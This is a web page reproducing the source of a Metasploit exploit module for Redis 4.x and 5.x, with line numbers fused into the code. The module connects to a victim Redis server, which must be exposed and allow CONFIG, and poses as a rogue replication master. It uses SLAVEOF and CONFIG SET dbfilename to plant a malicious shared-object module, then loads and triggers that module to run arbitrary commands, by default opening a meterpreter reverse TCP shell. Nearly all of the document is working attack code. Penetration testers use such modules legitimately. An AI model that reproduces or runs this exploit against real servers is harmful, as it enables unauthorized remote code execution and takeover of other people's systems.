CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper11include Msf::Auxiliary::Redis12include Msf::Module::Deprecated1314moved_from "exploit/linux/redis/redis_unauth_exec"1516def initialize(info = {})17super(update_info(info,18'Name' => 'Redis Replication Code Execution',19'Description' => %q{20This module can be used to leverage the extension functionality added since Redis 4.0.021to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis22which called replication between master and slave.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module28],29'References' =>30[31[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],32[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']33],3435'Platform' => 'linux',36'Arch' => [ARCH_X86, ARCH_X64],37'Targets' =>38[39['Automatic', {} ],40],41'DefaultOptions' => {42'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',43'SRVPORT' => '6379'44},45'Privileged' => false,46'DisclosureDate' => '2018-11-13',47'DefaultTarget' => 0,48'Notes' =>49{50'Stability' => [ SERVICE_RESOURCE_LOSS],51'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]52},53))5455register_options(56[57Opt::RPORT(6379),58OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])59]60)6162register_advanced_options(63[64OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),65OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),66OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])67]68)69deregister_options('URIPATH', 'THREADS', 'SSLCert')70end7172#73# Now tested on redis 4.x and 5.x74#75def check76connect77# they are only vulnerable if we can run the CONFIG command, so try that78return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/7980if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data81report_redis(redis_version)82end8384unless redis_version85print_error('Cannot retrieve redis version, please check it manually')86return Exploit::CheckCode::Unknown87end8889# Only vulnerable to version 4.x or 5.x90version = Rex::Version.new(redis_version)91if version >= Rex::Version.new('4.0.0')92vprint_status("Redis version is #{redis_version}")93return Exploit::CheckCode::Vulnerable94end9596Exploit::CheckCode::Safe97ensure98disconnect99end100101def has_check?102true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis103end104105def exploit106if check_custom107@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)108@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"109else110@module_init_name = 'shell'111@module_cmd = 'shell.exec'112end113114if srvhost == '0.0.0.0'115fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')116end117118#119# Prepare for payload.120#121# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.122# It's only worked on linux system.123#124# 2. Use compiled payload, it's avaiable on all OS, however more detectable.125#126if check_custom127buf = create_payload128generate_code_file(buf)129compile_payload130end131132connect133134#135# Send the payload.136#137redis_command('SLAVEOF', srvhost, srvport.to_s)138redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")139::IO.select(nil, nil, nil, 2.0)140141# start the rogue server142start_rogue_server143# waiting for victim to receive the payload.144Rex.sleep(1)145redis_command('MODULE', 'LOAD', "./#{module_file}")146redis_command('SLAVEOF', 'NO', 'ONE')147148# Trigger it.149print_status('Sending command to trigger payload.')150pull_the_trigger151152# Clean up153Rex.sleep(2)154register_file_for_cleanup("./#{module_file}")155#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')156#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")157158ensure159disconnect160end161162#163# We pretend to be a real redis server, and then slave the victim.164#165def start_rogue_server166begin167socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})168print_status("Listening on #{srvhost}:#{srvport}")169rescue Rex::BindFailed170print_warning("Handler failed to bind to #{srvhost}:#{srvport}")171print_status("Listening on 0.0.0.0:#{srvport}")172socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})173end174175rsock = socket.accept()176vprint_status('Accepted a connection')177178# Start negotiation179while true180request = rsock.read(1024)181vprint_status("in<<< #{request.inspect}")182response = ""183finish = false184185case186when request.include?('PING')187response = "+PONG\r\n"188when request.include?('REPLCONF')189response = "+OK\r\n"190when request.include?('PSYNC') || request.include?('SYNC')191response = "+FULLRESYNC #{'Z'*40} 1\r\n"192response << "$#{payload_bin.length}\r\n"193response << "#{payload_bin}\r\n"194finish = true195end196197if response.length < 200198vprint_status("out>>> #{response.inspect}")199else200vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")201end202203rsock.put(response)204205if finish206print_status('Rogue server close...')207rsock.close()208socket.close()209break210end211end212end213214def pull_the_trigger215if check_custom216redis_command("#{@module_cmd}")217else218execute_cmdstager219end220end221222#223# Parpare command stager for the pre-compiled payload.224# And the command of module is hard-coded.225#226def execute_command(cmd, opts = {})227redis_command('shell.exec',"#{cmd.to_s}") rescue nil228end229230#231# Generate source code file of payload to be compiled dynamicly.232#233def generate_code_file(buf)234template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))235File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}236end237238def compile_payload239make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')240vprint_status("Clean old files")241vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)242vprint_status(%x|make -C #{File.dirname(make_file)} clean|)243244print_status('Compile redis module extension file')245res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|246if res.include? 'true'247print_good("Payload generated successfully! ")248else249print_error(res)250fail_with(Failure::BadConfig, 'Check config of gcc compiler.')251end252end253254#255# check the environment for compile payload to so file.256#257def check_env258# check if linux259return false unless %x|uname -s 2>/dev/null|.include? "Linux"260# check if gcc installed261return false unless %x|command -v gcc && echo true|.include? "true"262# check if ld installed263return false unless %x|command -v ld && echo true|.include? "true"264265true266end267268def check_custom269return @custom_payload if @custom_payload270271@custom_payload = false272@custom_payload = true if check_env && datastore['CUSTOM']273274@custom_payload275end276277def module_file278return @module_file if @module_file279@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"280end281282def create_payload283p = payload.encoded284Msf::Simple::Buffer.transform(p, 'c', 'buf')285end286287def payload_bin288return @payload_bin if @payload_bin289if check_custom290@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))291else292@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))293end294@payload_bin295end296end297298299